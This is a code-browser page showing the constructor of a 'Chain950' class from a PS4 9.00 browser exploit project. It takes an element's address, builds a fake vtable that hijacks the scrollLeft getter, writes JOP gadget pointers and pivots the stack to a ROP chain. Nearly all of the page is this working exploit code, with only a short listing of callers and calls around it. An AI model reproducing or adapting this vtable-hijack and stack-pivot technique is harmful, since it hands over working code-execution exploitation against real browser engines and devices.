MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / constructor

Method constructor

g2all/900/rop/950.js:288–333  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

286// Chain for PS4 9.00
287export class Chain950 extends Chain950Base {
288 constructor() {
289 super();
290
291 const textarea = document.createElement('textarea');
292 this.textarea = textarea;
293 const js_ta = mem.addrof(textarea);
294 const webcore_ta = js_ta.readp(0x18);
295 this.webcore_ta = webcore_ta;
296 // Only offset 0x1c8 will be used when calling the scrollLeft getter
297 // native function (our tests don't crash).
298 //
299 // This implies we don't need to know the exact size of the vtable and
300 // try to copy it as much as possible to avoid a crash due to missing
301 // vtable entries.
302 //
303 // So the rest of the vtable are free for our use.
304 const vtable = new Uint8Array(0x200);
305 const old_vtable_p = webcore_ta.readp(0);
306 this.vtable = vtable;
307 this.old_vtable_p = old_vtable_p;
308
309 // 0x1b8 is the offset of the scrollLeft getter native function
310 rw.write64(vtable, 0x1b8, this.get_gadget(ta_jop1));
311 rw.write64(vtable, 0xb8, this.get_gadget(ta_jop2));
312 rw.write64(vtable, 0x7c, this.get_gadget(ta_jop3));
313
314 // for the JOP chain
315 const rax_ptrs = new Uint8Array(0x100);
316 const rax_ptrs_p = get_view_vector(rax_ptrs);
317 this.rax_ptrs = rax_ptrs;
318
319 rw.write64(rax_ptrs, 0x30, this.get_gadget(jop2));
320 rw.write64(rax_ptrs, 0x58, this.get_gadget(jop3));
321 rw.write64(rax_ptrs, 0x10, this.get_gadget(jop4));
322 rw.write64(rax_ptrs, 0, this.get_gadget(jop5));
323 // value to pivot rsp to
324 rw.write64(this.rax_ptrs, 0x18, this.stack_addr);
325
326 const jop_buffer = new Uint8Array(8);
327 const jop_buffer_p = get_view_vector(jop_buffer);
328 this.jop_buffer = jop_buffer;
329
330 rw.write64(jop_buffer, 0, rax_ptrs_p);
331
332 rw.write64(vtable, 8, jop_buffer_p);
333 }
334
335 run() {
336 this.check_stale();

Callers

nothing calls this directly

Calls 5

get_view_vectorFunction · 0.90
addrofMethod · 0.45
readpMethod · 0.45
write64Method · 0.45
get_gadgetMethod · 0.45

Tested by

no test coverage detected